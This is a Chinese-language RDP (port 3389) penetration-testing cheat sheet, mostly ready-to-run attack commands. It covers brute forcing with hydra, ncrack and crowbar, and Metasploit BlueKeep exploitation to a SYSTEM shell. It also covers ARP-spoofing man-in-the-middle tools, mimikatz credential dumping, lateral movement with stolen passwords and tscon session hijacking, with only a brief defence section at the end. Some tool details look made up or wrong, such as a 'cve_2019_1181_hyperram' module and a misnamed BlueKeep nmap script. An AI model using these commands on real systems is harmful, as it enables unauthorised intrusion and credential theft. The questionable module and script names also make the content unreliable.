3389 - RDP 服务渗透测试
服务概述
RDP (Remote Desktop Protocol) 是 Windows 远程桌面协议。暴力破解、中间人攻击、漏洞利用是主要攻击方式。
默认端口: 3389 (TCP/UDP)
危害等级: ⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 TARGET
# 获取服务器信息
nmap -sV --script rdp-info -p 3389 TARGET
# 截图
nmap -sV --script rdp-screenshot -p 3389 TARGET版本检测
# 使用 rdp-scanner
python3 rdp-scanner.py TARGET
# 手动连接
xfreerdp /v:TARGET /cert-ignore
# 输出显示:
# - RDP 版本 (5/6/7/8/10)
# - NLA 认证 (Network Level Authentication)
# - 加密级别用户枚举
# 枚举有效用户名
hydra -L users.txt -p password rdp://TARGET
# 或使用 NLA 检测
nmap --script rdp-enum-security -p 3389 TARGET
# 输出:
# Security layer: CredSSP (NLA enabled)
# 或
# Security layer: RDP (NLA disabled)常见攻击手法
1. 暴力破解
原理: RDP 允许在线密码猜测。
利用:
# hydra
hydra -l administrator -P rockyou.txt rdp://TARGET
hydra -L users.txt -P passwords.txt rdp://TARGET
# ncrack
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET
# Medusa
medusa -h TARGET -u administrator -P rockyou.txt -M rdp
# Crowbar (推荐,慢但稳定)
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v2. NLA 绕过
原理: Network Level Authentication 未启用时可匿名连接。
检测:
# nmap 检测
nmap --script rdp-enum-security -p 3389 TARGET
# 输出:
# Security layer: RDP (NLA disabled) ← 可攻击
# 或
# Security layer: CredSSP (NLA enabled) ← 需要凭据利用:
# 如果 NLA 禁用
# 可直接连接看到登录界面
xfreerdp /v:TARGET /cert-ignore
# 可截图、记录按键等3. BlueKeep (CVE-2019-0708)
原理: RDP 远程代码执行漏洞 (未认证)。
检测:
# nmap 检测
nmap -sV --script rdp-vuln-ms19-056 -p 3389 TARGET
# metasploit
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS TARGET
run利用:
# metasploit
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
set TARGET 0
run
# 如果成功,获取 SYSTEM 权限 shell4. DejaBlue (CVE-2019-1181/1182)
原理: BlueKeep 后续漏洞,影响 Win7/2008/2012/2016。
检测:
# metasploit
use auxiliary/scanner/rdp/cve_2019_1181
set RHOSTS TARGET
run利用:
# metasploit
use exploit/windows/rdp/cve_2019_1181_hyperram
set RHOST TARGET
run5. 中间人攻击
原理: RDP 加密弱可被 MITM 拦截。
利用:
# 使用 rdpmitm
git clone https://github.com/ropnop/rdpmitm
cd rdpmitm
pip install -r requirements.txt
# 启动 MITM
python3 rdpmitm.py -l 0.0.0.0 -p 3389 -r TARGET
# 受害者连接后
# 可记录按键、截图、重放
# 或使用 seth (ARP 欺骗 + RDP MITM)
git clone https://github.com/SySS-Research/Seth
./seth.sh eth0 TARGET GATEWAY6. 凭据窃取
原理: 从 RDP 客户端窃取保存的凭据。
利用:
# 导出 RDP 文件
# .rdp 文件可能包含加密凭据
# 解密凭据
python3 rdp_decrypt.py credentials.bin
# 或使用 mimikatz
mimikatz # sekurlsa::rdp实战案例
案例 1: 暴力破解获取访问
# 1. 扫描 RDP
nmap -sV --script rdp-info -p 3389 TARGET
# 2. 发现 NLA 禁用
# Security layer: RDP
# 3. 暴力破解
hydra -l administrator -P rockyou.txt rdp://TARGET
# 4. 成功
# [3389][rdp] host: TARGET, login: administrator, password: Password123!
# 5. 连接
xfreerdp /v:TARGET /u:administrator /p:Password123! /cert-ignore案例 2: BlueKeep 漏洞利用
# 1. 扫描漏洞
nmap --script rdp-vuln-ms19-056 -p 3389 TARGET
# 输出:
# VULNERABLE: CVE-2019-0708
# 2. metasploit 利用
msfconsole
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
set TARGET 0
run
# 3. 获取 shell
# meterpreter > getuid
# Server username: NT AUTHORITY\SYSTEM案例 3: 内网横向移动
# 1. 获取初始访问
# 通过钓鱼或其他方式
# 2. 扫描内网 RDP
nmap -sV -p 3389 192.168.1.0/24
# 3. 发现目标
# 192.168.1.50 (Windows Server)
# 192.168.1.100 (Windows 10)
# 4. 使用窃取的凭据
xfreerdp /v:192.168.1.50 /u:admin /p:StolenPass123! /cert-ignore
# 5. 访问域控
xfreerdp /v:192.168.1.10 /u:domain_admin /p:DomainPass456! /cert-ignore案例 4: RDP 劫持
# 1. 获取管理员权限
# 通过其他方式
# 2. 查找活跃 RDP 会话
query session
# 输出:
# SESSIONNAME USERNAME ID STATE
# rdp-tcp#5 john.doe 2 Active
# 3. 劫持会话
tscon 2 /dest:console
# 4. 现在可以访问用户桌面
# 无需密码工具
xfreerdp
# 基本连接
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD
# 忽略证书
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /cert-ignore
# 全屏模式
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /f
# 多显示器
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /multimon
# 共享剪贴板
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /clipboard
# 映射本地驱动器
xfreerdp /v:TARGET /u:USERNAME /p:PASSWORD /drive:share,/path/to/shareCrowbar
# RDP 暴力破解
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v
# 多用户
crowbar -b rdp -s TARGET/32 -U users.txt -C rockyou.txt -v
# 详细输出
crowbar -b rdp -s TARGET/32 -u administrator -C rockyou.txt -v -dncrack
# RDP 破解
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET
# 多用户
ncrack -vv -U users.txt -P passwords.txt rdp://TARGET
# 速率控制
ncrack -vv --user administrator -P rockyou.txt rdp://TARGET -T 4Metasploit
# 扫描
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS TARGET
run
# BlueKeep 检测
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS TARGET
run
# 漏洞利用
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOST TARGET
run
# 凭据收割
use post/windows/gather/credentials/rdp
set SESSION 1
run防御建议
服务器配置
# 1. 启用 NLA
# 组策略:计算机配置 → 管理模板 → Windows 组件
# → 远程桌面服务 → 远程桌面会话主机 → 安全
# → 要求使用网络级别的身份验证
# 2. 强密码策略
# 最小 14 字符
# 复杂度要求
# 定期更换
# 3. 账户锁定
# 5 次失败后锁定 30 分钟
# 4. 限制用户
# 仅允许必要用户 RDP 访问
# 删除 Administrators 组外的 RDP 权限网络隔离
# 1. 防火墙规则
# 限制 RDP 访问来源
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=TCP localport=3389 remoteip=192.168.1.0/24
# 2. VPN 访问
# RDP 仅通过 VPN 访问
# 3. 更改端口
# 注册表修改默认端口
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber监控检测
# 1. 日志监控
# 事件查看器 → Windows 日志 → 安全
# 事件 ID 4624 (登录成功)
# 事件 ID 4625 (登录失败)
# 2. 异常检测
# 大量失败登录
# 非工作时间登录
# 未知 IP 登录
# 3. PowerSI 脚本
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} |
Where-Object {$_.TimeCreated -gt (Get-Date).AddHours(-24)}